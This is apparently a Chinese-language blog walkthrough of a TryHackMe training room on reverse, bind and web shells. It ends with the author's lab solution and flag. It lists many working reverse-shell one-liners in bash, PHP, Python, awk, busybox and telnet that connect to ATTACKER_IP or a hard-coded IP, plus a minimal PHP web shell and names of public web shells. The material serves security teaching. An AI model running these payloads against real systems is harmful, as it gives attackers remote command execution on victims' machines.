Cyber Security 101-Offensive Security-Shells Overview(shells概述)

ops/2025/1/16 11:19:07/

了解不同类型的 shell。

任务1:房间介绍

介绍

网络安全中的 shell 被攻击者广泛用于远程控制系统,使其成为攻击链的重要组成部分。在这个房间里,我们将探讨进攻性安全中使用的不同 shell、它们之间的区别以及它们的用例。这些知识有助于提高渗透测试和利用技能,还可以帮助我们了解如何检测组织内的攻击者何时正在使用远程 shell。

学习目标

在这个房间里,我们将介绍以下学习目标:

  • 了解 Offensive Security 中的 Shell
  • 设置和使用 Reverse 和 Bind Shell
  • 部署 Web Shell

会议室先决条件

在开始聊天室之前,建议了解以下主题:

  • 对网络的基本了解
  • Web 应用程序安全基础知识
  • 基本命令行熟练度
  • 熟悉 Bash、Python 或 PHP 等脚本语言

警告

Metasploit 或其他生成 shell 或与 shell 交互的框架的使用已被有意地从这个房间里抛在后面。这是为了专注于了解 shell 的工作原理,而无需使用或借助工具来设置或生成 shell。此外,对于这个房间,我们将使用 Linux 操作系统作为所有示例。

启动机器

单击按钮启动实验室 。正确加载大约需要 2 分钟。VM 将在分屏的右侧访问。如果 VM 不可见,请使用页面顶部的蓝色 Show Split View 按钮。Start Machine

由于我们正在使用具有远程访问功能的 shell,因此我们可以通过单击左上角的按钮来模拟目标机器或使用连接到 VPN 的机器。AttackBoxStart AttackBox

任务2:Shell 概述

什么是 Shell?

shell 是允许用户与操作系统交互的软件。

它可以是图形界面,但通常是命令行界面,这将取决于目标系统上运行的操作系统。

在网络安全中,它通常是指攻击者在访问受感染的系统时使用的特定 shell 会话,允许他们运行命令和执行软件。这将允许攻击者执行多项活动,其中一些活动如下所述。

  • 远程系统控制:允许攻击者在目标系统中远程执行命令或软件。
  • 权限提升:如果通过 shell 进行的初始访问受到限制或限制,攻击者可以探索将权限提升为更高或管理访问权限的方法。
  • 数据泄露:一旦攻击者可以通过获取的 shell 执行命令,他们就可以探索系统以从中读取和复制敏感数据。
  • 持久性和维护访问:获得 shell 访问权限后,攻击者可以通过用户和凭证创建访问权限,或复制后门软件以保留对目标系统的访问以备后用。
  • 利用后活动:授予对 shell 的访问权限后,攻击者可以执行各种利用后活动,例如部署恶意软件、创建隐藏帐户和删除信息。
  • 访问网络上的其他系统:根据攻击者的意图,获得的 shell 可能只是一个初始接入点。目标可能是使用获得的 shell 作为指向受感染系统网络中不同点的枢轴,通过网络跳转到不同的目标。这也称为透视(Pivoting)。

我们将在下一个任务中描述的所有 shell 都有助于实现上述攻击的不同限制。

任务3:反向 Shell(Reverse Shell )

反向 Shell

反向 shell,有时也称为“连接 shell”,是在网络攻击中获取系统访问权限的最流行的技术之一。

连接从目标系统启动攻击者的计算机,这有助于避免被网络防火墙其他安全设备检测到

Reverse Shell 的工作原理

设置 Netcat (nc) 侦听器

现在让我们使用 Netcat 工具了解反向 shell 在实际场景中是如何工作的。此实用程序支持多个操作系统,并允许通过网络进行读写。

如上所述,反向 shell 将连接回攻击者的机器。

这台机器将等待连接,因此让我们使用以下命令使用 Netcat 来侦听连接。

nc -lvnp 443

attacker@kali:~$ nc -lvnp 443
listening on [any] 4444 ...

上面的命令使用 -l 选项来指示 Netcat 侦听或等待连接。

-v 选项启用 verbose 模式。

-n 选项阻止连接使用 DNS 进行查找,因此它不会解析任何将使用 IP 地址的主机名。

最后,该 -p 标志指示将用于等待连接的端口,在上述情况下为端口 443

任何端口都可用于等待连接,但攻击者和渗透测试人员倾向于使用其他应用程序使用的已知端口,如 5380、8080443139 或 445。 这是为了将反向 shell 与合法流量混合,并避免被安全设备检测到。

获取反向 shell 访问权限

设置侦听器后,攻击者应执行所谓的反向 shell 有效负载。此有效负载通常会滥用攻击者授予的漏洞或未经授权的访问,并执行命令,通过网络暴露 shell。有多种有效载荷,具体取决于受感染系统的工具和操作系统。我们可以在这里探索其中的一些。

例如,让我们分析一个名为 pipe reverse shell 的示例有效负载,如下所示。

rm -f /tmp/f ; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP ATTACKER_PORT >/tmp/f

负载说明

  • rm -f /tmp/f此命令将删除位于/tmp/f/ .这可确保脚本可以创建新的命名管道而不会发生冲突。
  • mkfifo /tmp/f此命令在/tmp/f处创建一个命名管道或 FIFO(先进先出)。命名管道允许进程之间的双向通信。在此上下文中,它充当输入和输出的管道。 
  • cat /tmp/f此命令从命名管道中读取数据。它等待可以通过管道发送的 Importing。
  • | bash -i 2>&1cat输出通过管道传输到 shell 实例 (bash -i),这允许攻击者以交互方式执行命令。2>&1将 standard error 重定向到 standard output,确保将错误消息发送回攻击者。
  • | nc ATTACKER_IP ATTACKER_PORT >/tmp/f这部分通过 nc(Netcat) 将 shell 的输出通过管道传输到攻击者端口 (ATTACKER_IP) 上的攻击者 IP 地址 (ATTACKER_PORT)。
  • >/tmp/f:最后一部分将命令的输出发送回命名管道,从而允许双向通信。

上面的有效负载可以通过网络将 shell bash暴露给所需的侦听器。

攻击者收到 shell

执行上述有效负载后,攻击者将收到一个反向 shell,如下所示,允许他们执行命令,就像他们登录到操作系统中的常规终端一样。

攻击者终端输出(接收 shell)

attacker@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.4.99.209] from (UNKNOWN) [10.10.13.37] 59964
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.target@tryhackme:~$

上面的输出显示了来自 IP 的连接,IP 是受感染目标的 IP 地址。10.10.13.37

任务4:绑定 Shell(bind shell)

绑定 Shell(bind shell)

顾名思义,bind shell 将绑定受感染系统上的端口并侦听连接;当此连接发生时,它会暴露 shell 会话,以便攻击者可以远程执行命令。

当受损目标不允许传出连接时,可以使用此方法,但它往往不太受欢迎,因为它需要保持活动状态并侦听连接,这可能会导致检测。

bind shell 的工作原理

在目标上设置 Bind shell

让我们创建一个 bind shell。在这种情况下,攻击者可以在目标计算机上使用类似于下面的命令。

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 > /tmp/f

负载说明 命令说明

  • rm -f /tmp/f:此命令将删除位于/tmp/f/.这可确保脚本可以创建新的命名管道而不会发生冲突。
  • mkfifo /tmp/f:此命令在/tmp/f 处创建一个命名管道或 FIFO。命名管道允许进程之间的双向通信。在此上下文中,它充当输入和输出的管道。
  • cat /tmp/f:此命令从命名管道中读取数据。它等待可以通过管道发送的 Importing。
  • | bash -i 2>&1:cat的输出通过管道传输到 shell 实例 (bash -i),这允许攻击者以交互方式执行命令。2>&1将 standard error 重定向到 standard output,确保将错误消息返回给攻击者。
  • | nc -l 0.0.0.0 8080 : -l在所有接口 (0.0.0.0) 和8080端口 .一旦攻击者连接到此端口,shell 就会暴露给攻击者。
  • >/tmp/f:最后一部分将命令的输出发送回命名管道,从而允许双向通信。

上面的命令将侦听传入的连接并公开 bash shell。我们需要注意,低于 1024 的端口将需要以提升的权限执行 Netcat。在这种情况下,使用端口 8080 将避免这种情况。

目标计算机上的终端 (Bind Shell Setup)

target@tryhackme:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 > /tmp/f

执行命令后,它将等待传入连接,如上所示。

攻击者连接到 Bind Shell

现在目标机器正在等待传入连接,我们可以再次使用 Netcat 和以下命令进行连接。

nc -nv TARGET_IP 8080

  • nc: 这将调用 Netcat,从而建立与目标的连接。
  • -n: 禁用 DNS 解析,使 Netcat 能够更快地运行并避免不必要的查找。
  • -v: 详细 模式提供连接过程的详细输出,例如建立连接的时间。
  • TARGET_IP: 运行 bind shell 的目标计算机的 IP 地址。
  • 8080: bind shell 侦听的端口号。

攻击者终端(连接后)

attacker@kali:~$ nc -nv 10.10.13.37 8080 
(UNKNOWN) [10.10.13.37] 8080 (http-alt) open
target@tryhackme:~$

连接后,我们可以获取一个 shell,如上图所示,并执行命令。

任务5:shell 侦听器

正如我们在前面的任务中学到的那样,反向 shell 将从  受感染的目标  连接到  攻击者的机器。像 Netcat 这样的实用程序将处理连接并允许攻击者与公开的 shell 进行交互,但 Netcat 并不是唯一允许我们这样做的实用程序。

让我们探索一些可以用作侦听器与传入 shell 交互的工具。

Rlwrap


它是一个使用 GNU readline 库提供编辑键盘和历史记录的小工具。

用法示例(使用 rlwrap 增强 Netcat shell)

attacker@kali:~$ rlwrap nc -lvnp 443
listening on [any] 443 ...

这与 ncrlwrap 包装在一起,允许使用箭头键和历史记录等功能以实现更好的交互。

NCAT

Ncat 是由 NMAP 项目分发的 Netcat 的改进版本。它提供额外的功能,例如加密 (SSL)。

用法示例(侦听反向 shell)

attacker@kali:~$ ncat -lvnp 4444
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443

用法示例(使用 SSL 侦听反向 shell)

attacker@kali:~$ ncat --ssl -lvnp 4444
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: B7AC F999 7FB0 9FF9 14F5 5F12 6A17 B0DC B094 AB7F
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443

--ssl选项为侦听器启用 SSL 加密

Socat

它是一个实用程序,允许您在两个数据源(在本例中为两个不同的主机)之间创建套接字连接。

默认使用示例(侦听 Reverse Shell):

attacker@kali:~$ socat -d -d TCP-LISTEN:443 STDOUT
2024/09/23 15:44:38 socat[41135] N listening on AF=2 0.0.0.0:443

上面的命令使用了 -d启用详细输出的选项;再次使用它 (-d -d) 将增加命令的详细程度。该TCP-LISTEN:443选项在端口443上创建 TCP 侦听器,为传入连接建立服务器套接字。最后,STDOUT 选项将任何传入数据定向到终端。

任务6:shell有效负

Shell Payload 可以是一个命令或脚本,它在绑定 shell 的情况下向传入连接公开 shell,或者在反向 shell 的情况下向发送连接公开 shell。

让我们探索一下其中一些可以在 Linux 操作系统中使用的有效负载,以通过最流行的反向 shell 公开 shell。

Bash

普通 Bash 反向 Shell

target@tryhackme:~$ bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1 

此反向 shell 启动交互式 bash shell,该 shell 通过 TCP 连接将输入和输出重定向到攻击者在443口 上的 IP (ATTACKER_IP) 。>&运算符结合了标准输出和标准误差。

Bash 读取行反向 Shell(Bash Read Line Reverse Shell)

target@tryhackme:~$ exec 5<>/dev/tcp/ATTACKER_IP/443; cat <&5 | while read line; do $line 2>&5 >&5; done 

此反向 shell 创建一个新的文件描述符(5在本例中)并连接到 TCP 套接字。它将从 socket 读取和执行命令,并通过同一个 socket 将输出发送回去。

带有文件描述符 196 反向 shell 的 Bash(Bash With File Descriptor 196 Reverse Shell

target@tryhackme:~$ 0<&196;exec 196<>/dev/tcp/ATTACKER_IP/443; sh <&196 >&196 2>&196 

此反向 shell 使用文件描述符(196在本例 中)来建立 TCP 连接。它允许 shell 从网络读取命令并通过同一连接将输出发送回去。

带有文件描述符 5 反向 shell 的 bash

target@tryhackme:~$ bash -i 5<> /dev/tcp/ATTACKER_IP/443 0<&5 1>&5 2>&5

与第一个示例类似,此命令将打开一个 shell (bash -i),但它使用文件5 描述符进行输入和输出,从而通过 TCP 连接启用交互式会话。

PHP

PHP使用 exec 函数的反向 shell

target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);exec("sh <&3 >&3 2>&3");'

此反向 shell 创建与攻击者的 IP on port 443的套接字连接,并使用该exec函数执行 shell,重定向标准输入和输出。

PHP使用 shell_exec 函数的 Reverse Shell

target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);shell_exec("sh <&3 >&3 2>&3");'

与上一个命令类似,但使用 shell_exec函数.

PHP使用 system 函数的 Reverse Shell(反向shell)

target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);system("sh <&3 >&3 2>&3");' 

 这个反向 shell 使用system函数,该函数执行命令并将结果输出到浏览器。

PHP使用 passthru 函数的 Reverse Shell

target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);passthru("sh <&3 >&3 2>&3");'

passthru函数执行命令并将原始输出发送回浏览器。这在处理二进制数据时非常有用。

PHP使用 popen 函数反转 Shell

target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);popen("sh <&3 >&3 2>&3", "r");' 

此反向 shell 用于popen打开进程文件指针,从而允许执行 shell。

Python

通过导出环境变量的 Python 反向 shell

target@tryhackme:~$ export RHOST="ATTACKER_IP"; export RPORT=443; python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' 

此反向 shell 将远程主机和端口设置为环境变量,创建套接字连接,并复制标准输入/输出的套接字文件描述符。

使用 subprocess 模块的 Python 反向 shell

target@tryhackme:~$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.99.209",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' 

此反向 shell 使用该subprocess模块生成 shell,并通过 Exporting Environment Variables 命令设置与 Python 反向 Shell 类似的环境。

短 Python 反向 Shell

target@tryhackme:~$ python -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

 此反向 shell 创建一个套接字 (s),连接到攻击者,并使用 将标准输入、输出和错误重定向到套接字os.dup2()

Others

Telnet 远程登录

target@tryhackme:~$ TF=$(mktemp -u); mkfifo $TF && telnet ATTACKER_IP443 0<$TF | sh 1>$TF

此反向 shell 使用 IP mkfifoATTACKER_IP端口443上的 Telnet 创建命名管道,并通过 Telnet 连接到攻击者。

AWK

target@tryhackme:~$ awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

此反向 shell 使用 AWK 的内置 TCP 功能连接到ATTACKER_IP:443 .它从攻击者那里读取命令并执行它们。然后,它通过同一 TCP 连接将结果发送回去。

BusyBox

target@tryhackme:~$ busybox nc ATTACKER_IP 443 -e sh

此 BusyBox 反向 shell 使用 Netcat (nc) 连接到 位于ATTACKER_IP:443 的攻击者。连接后,它会执行/bin/sh ,向攻击者公开命令行。

任务7:Web shell

Web Shell 是用受感染的 Web 服务器支持的语言编写的脚本,它通过 Web 服务器本身执行命令。Web Shell 通常是包含执行命令和处理文件的代码的文件。它可以隐藏在受感染的 Web 应用程序或服务中,使其难以检测并且在攻击者中非常流行。

Web shell 可以用 Web 服务器支持的多种语言编写,如 PHP、ASP、JSP,甚至是简单的 CGI 脚本。

PHP Web Shell 示例

让我们看一个示例 PHP Web Shell 来了解此过程的工作原理:

<?php
if (isset($_GET['cmd'])) {system($_GET['cmd']);
}
?>

上述 shell 可以保存到具有 PHP 扩展名的文件中,例如 shell.php,然后由攻击者通过利用不受限制的文件上传、文件包含、命令注入( Unrestricted File Upload, File Inclusion, Command Injection, 等漏洞或获得未经授权的访问上传到 Web 服务器 

在 服务器中部署 Web Shell 后,可以通过托管 Web Shell 的 URL 访问它,在本例中 http://victim.com/uploads/shell.php。正如我们从中的代码中观察到的那样,我们需要提供一个 GET 方法和变量的值 ,它应该包含攻击者想要执行的命令。例如shell.php,如果我们要执行命令 whoami,则对 URL 的请求应为: cmd

http://victim.com/uploads/shell.php?cmd=whoami

上面将执行命令 whoami 并在 Web 浏览器中显示结果。

在线提供的现有 Web Shell

Web 服务器支持的语言的强大功能可以使 Web Shell 具有许多功能,同时避免被发现。让我们探索一些可以在网上找到的最流行的 Web Shell

  • p0wny-shell - 允许远程执行命令的简约单文件 PHP Web shell。

b374k shell - 功能更丰富的 PHP Web shell,具有文件管理和命令执行等功能。

c99 shell - 一个众所周知且强大的 PHP Web shell,具有广泛的功能。 

您可以在以下位置找到更多 Web shell:R57 Shell | C99 Shell | Shell | TXT Shell | R57.php | c99.php | r57shell.net。

任务8:实际任务

现在我们已经了解了不同类型的反向 shell,让我们通过实际练习来测试我们的知识,让我们从易受攻击的 Web 服务器获取格式为 THM{} 的标志。单击按钮开始挑战。之后,它将可以通过以下 URL 访问:Start Machine

  • MACHINE_IP:8080 托管登陆页面
  • MACHINE_IP:8081 托管易受命令注入攻击的 Web 应用程序。
  • MACHINE_IP:8082 托管易受不受限制的文件上传攻击的 Web 应用程序。

您可以使用 访问上述内容,它将显示在分屏上,或者您可以通过 VPN 使用自己的访问权限。AttackBox

注意: 请等待 2 分钟,以便 VM 完全启动。

根据提示8081端口易受命令注入攻击,那我可以使用反弹shell。

首先在我的攻击机上使用nc -lvnp 9999,进行监听。

通过浏览器访问8081端口

我尝试cat hello.txt文件,发现显示hello.txt内容,说明成功了,这里也可以通过bp看状态码。

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.10.833.651314 >/tmp/f

搞了好一会儿,服了。直接用自带的攻击机。

这就来了,我服了。但是,但是,不给我显示,我*****

这里我直接找的网上答案,服了

 

访问8082端口,文件上传。

这里应该上传一句话木马,通过蚁剑或者冰蝎链接。但这里我直接跟攻略走了

返回

访问/uploads/1.php


THM{202bb14ed12120b31300cfbbbdd35998786b44e5}

任务9:结论

在这个房间里,我们了解了 Reverse ShellsBind Shell 和 Web Shell,它们如何对攻击者、渗透测试人员和防御者至关重要,以及如何识别它们。

反向 Shell 建立从受感染机器到攻击者系统的连接。 另一方面,Bind Shell 监听受感染机器上的传入连接,而 Web Shell 为攻击者提供了利用 Web 应用程序中漏洞的独特途径。

了解外壳对于安全专业人员执行渗透测试练习或识别和保护系统至关重要。


http://www.ppmy.cn/ops/150535.html

相关文章

x86-64架构的Linux服务器上运行.NET 6.0应用程序,安装runtimes

在x86-64架构的Linux服务器上运行.NET 6.0应用程序&#xff0c;你确实只需要dotnet-runtime-6.0.28-linux-x64.tar.gz这个运行时压缩包。以下是搭建.NET环境的步骤&#xff1a; 下载.NET运行时 首先&#xff0c;确保你已经下载了dotnet-runtime-6.0.28-linux-x64.tar.gz文件。你…

Python海龟绘图库:从入门到精通 - Python官方文档(三万字解析!)

turtle --- 海龟绘图 源码&#xff1a; Lib/turtle.py 概述 海龟绘图是对 最早在 Logo 中引入的受欢迎的几何绘图工具 的实现&#xff0c;它由 Wally Feurzeig, Seymour Papert 和 Cynthia Solomon 在 1967 年开发。 入门 请想象绘图区有一只机器海龟&#xff0c;起始位置在…

在AWS云平台上实现多架无人机自主飞行控制和管理的系统设计和实现代码

为了为低空飞机设计和实施自主飞行控制系统&#xff0c;使其能够远程规划和监控飞行路径、设置目标位置以及通过 AWS 云管理多架飞机&#xff0c;我们需要集成几个关键组件。 该技术栈将低级控制与实时处理、基于云的数据管理和高级路径规划算法相结合。您可以根据真实飞行数据…

pytorch小记(一):pytorch矩阵乘法:torch.matmul(x, y)

pytorch小记&#xff08;一&#xff09;&#xff1a;pytorch矩阵乘法&#xff1a;torch.matmul&#xff08;x, y&#xff09;/ x y 代码代码 1&#xff1a;torch.matmul(x, y)输入张量&#xff1a;计算逻辑&#xff1a;输出结果&#xff1a; 代码 2&#xff1a;y y.view(4,1)…

苹果手机ios脚本用按键精灵文件配置代码

以下是一个大致的思路来使用按键精灵在 iOS 手机上实现文件配置导出功能&#xff08;需要注意的是&#xff0c;在 iOS 上使用按键精灵等类似工具要确保符合苹果应用的相关使用规范和权限要求哦&#xff09;&#xff0c;但实际操作中可能会受限于 iOS 系统的封闭性以及应用本身的…

Golang概述

文章目录 1. 什么是程序2. Go语言的诞生小故事2.1 Go 语言的核心开发团队--三个大牛2.2 Google 创造 Golang 的原因2.3 Golang 的发展历程 3. Golang 的语言的特点 1. 什么是程序 程序&#xff1a;就是完成某个功能的指令的集合。画一个图理解&#xff1a; 2. Go语言的诞生小故…

《大型语言模型与强化学习的融合:探索问题的新解决方案与开源验证需求》

强化学习在2020年代初期通过开源项目如CleanRL的多学习者PPO算法取得了显著进展&#xff0c;但在语言模型领域未能充分利用其潜力 1. 开源项目CleanRL的贡献 CleanRL 是一个致力于提供简单、高效且易于理解的强化学习&#xff08;RL&#xff09;算法实现的开源项目。该项目通…